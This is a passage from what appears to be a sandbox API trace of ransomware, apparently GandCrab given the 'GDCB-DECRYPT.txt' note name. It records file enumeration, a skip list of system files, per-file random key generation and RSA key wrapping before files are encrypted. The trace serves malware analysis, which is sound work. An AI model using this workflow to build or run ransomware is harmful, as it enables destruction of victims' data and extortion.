Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-processenvironment-l1-1-0.dll") returned 302 [0171.880] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-processthreads-l1-1-0.dll") returned 298 [0171.880] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-processthreads-l1-1-0.dll") returned 298 [0171.880] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-processthreads-l1-1-1.dll") returned 298 [0171.880] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-processthreads-l1-1-1.dll") returned 298 [0171.881] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-profile-l1-1-0.dll") returned 291 [0171.881] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-profile-l1-1-0.dll") returned 291 [0171.881] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-rtlsupport-l1-1-0.dll") returned 294 [0171.881] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-rtlsupport-l1-1-0.dll") returned 294 [0171.881] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-string-l1-1-0.dll") returned 290 [0171.881] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-string-l1-1-0.dll") returned 290 [0171.881] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-synch-l1-1-0.dll") returned 289 [0171.881] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-synch-l1-1-0.dll") returned 289 [0171.881] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-synch-l1-2-0.dll") returned 289 [0171.881] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-synch-l1-2-0.dll") returned 289 [0171.881] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-sysinfo-l1-1-0.dll") returned 291 [0171.881] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-sysinfo-l1-1-0.dll") returned 291 [0171.881] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-timezone-l1-1-0.dll") returned 292 [0171.881] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-timezone-l1-1-0.dll") returned 292 [0171.881] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-util-l1-1-0.dll") returned 288 [0171.881] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-util-l1-1-0.dll") returned 288 [0171.881] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-conio-l1-1-0.dll") returned 288 [0171.881] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-conio-l1-1-0.dll") returned 288 [0171.882] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-convert-l1-1-0.dll") returned 290 [0171.882] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-convert-l1-1-0.dll") returned 290 [0171.882] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-environment-l1-1-0.dll") returned 294 [0171.882] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-environment-l1-1-0.dll") returned 294 [0171.882] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 293 [0171.882] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 293 [0171.882] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-heap-l1-1-0.dll") returned 287 [0171.882] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-heap-l1-1-0.dll") returned 287 [0171.882] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-locale-l1-1-0.dll") returned 289 [0171.882] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-locale-l1-1-0.dll") returned 289 [0171.882] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-math-l1-1-0.dll") returned 287 [0171.882] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-math-l1-1-0.dll") returned 287 [0171.882] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 292 [0171.882] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 292 [0171.882] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-private-l1-1-0.dll") returned 290 [0171.882] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-private-l1-1-0.dll") returned 290 [0171.882] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-process-l1-1-0.dll") returned 290 [0171.882] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-process-l1-1-0.dll") returned 290 [0171.882] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-runtime-l1-1-0.dll") returned 290 [0171.882] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-runtime-l1-1-0.dll") returned 290 [0171.882] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-stdio-l1-1-0.dll") returned 288 [0171.883] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-stdio-l1-1-0.dll") returned 288 [0171.883] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-string-l1-1-0.dll") returned 289 [0171.883] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-string-l1-1-0.dll") returned 289 [0171.883] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-time-l1-1-0.dll") returned 287 [0171.883] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-time-l1-1-0.dll") returned 287 [0171.883] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-utility-l1-1-0.dll") returned 290 [0171.883] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-crt-utility-l1-1-0.dll") returned 290 [0171.883] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppBlue.png") returned 268 [0171.883] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppBlue.png") returned 268 [0171.883] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppBlue.png") returned 268 [0171.883] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppBlue.png") returned 268 [0171.883] lstrcmpiW (lpString1="AppBlue.png", lpString2="desktop.ini") returned -1 [0171.883] lstrcmpiW (lpString1="AppBlue.png", lpString2="autorun.inf") returned -1 [0171.883] lstrcmpiW (lpString1="AppBlue.png", lpString2="ntuser.dat") returned -1 [0171.883] lstrcmpiW (lpString1="AppBlue.png", lpString2="iconcache.db") returned -1 [0171.883] lstrcmpiW (lpString1="AppBlue.png", lpString2="bootsect.bak") returned -1 [0171.883] lstrcmpiW (lpString1="AppBlue.png", lpString2="boot.ini") returned -1 [0171.883] lstrcmpiW (lpString1="AppBlue.png", lpString2="ntuser.dat.log") returned -1 [0171.883] lstrcmpiW (lpString1="AppBlue.png", lpString2="thumbs.db") returned -1 [0171.883] lstrcmpiW (lpString1="AppBlue.png", lpString2="GDCB-DECRYPT.txt") returned -1 [0171.883] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\appblue.png")) returned 0xffffffff [0171.883] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppBlue.png", dwFileAttributes=0xfffffffe) returned 0 [0171.883] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0171.884] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.884] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.884] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.884] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.884] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0171.885] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.885] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.885] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.885] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0171.885] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.887] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x635d58) returned 1 [0171.887] CryptGetKeyParam (in: hKey=0x635d58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.887] CryptEncrypt (in: hKey=0x635d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f10000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2f10000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.888] GetLastError () returned 0x0 [0171.888] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.888] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0171.890] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x635e58) returned 1 [0171.890] CryptGetKeyParam (in: hKey=0x635e58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.890] CryptEncrypt (in: hKey=0x635e58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f20000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2f20000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.890] GetLastError () returned 0x0 [0171.890] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.890] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\appblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.891] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppWhite.png") returned 269 [0171.891] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppWhite.png") returned 269 [0171.891] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppWhite.png") returned 269 [0171.891] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppWhite.png") returned 269 [0171.891] lstrcmpiW (lpString1="AppWhite.png", lpString2="desktop.ini") returned -1 [0171.891] lstrcmpiW (lpString1="AppWhite.png", lpString2="autorun.inf") returned -1 [0171.891] lstrcmpiW (lpString1="AppWhite.png", lpString2="ntuser.dat") returned -1 [0171.891] lstrcmpiW (lpString1="AppWhite.png", lpString2="iconcache.db") returned -1 [0171.891] lstrcmpiW (lpString1="AppWhite.png", lpString2="bootsect.bak") returned -1 [0171.891] lstrcmpiW (lpString1="AppWhite.png", lpString2="boot.ini") returned -1 [0171.891] lstrcmpiW (lpString1="AppWhite.png", lpString2="ntuser.dat.log") returned -1 [0171.891] lstrcmpiW (lpString1="AppWhite.png", lpString2="thumbs.db") returned -1 [0171.891] lstrcmpiW (lpString1="AppWhite.png", lpString2="GDCB-DECRYPT.txt") returned -1 [0171.891] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\appwhite.png")) returned 0xffffffff [0171.891] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppWhite.png", dwFileAttributes=0xfffffffe) returned 0 [0171.891] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0171.891] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.892] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.892] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.892] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.892] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0171.892] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.892] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.893] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.893] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.893] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.895] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636158) returned 1 [0171.895] CryptGetKeyParam (in: hKey=0x636158, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.895] 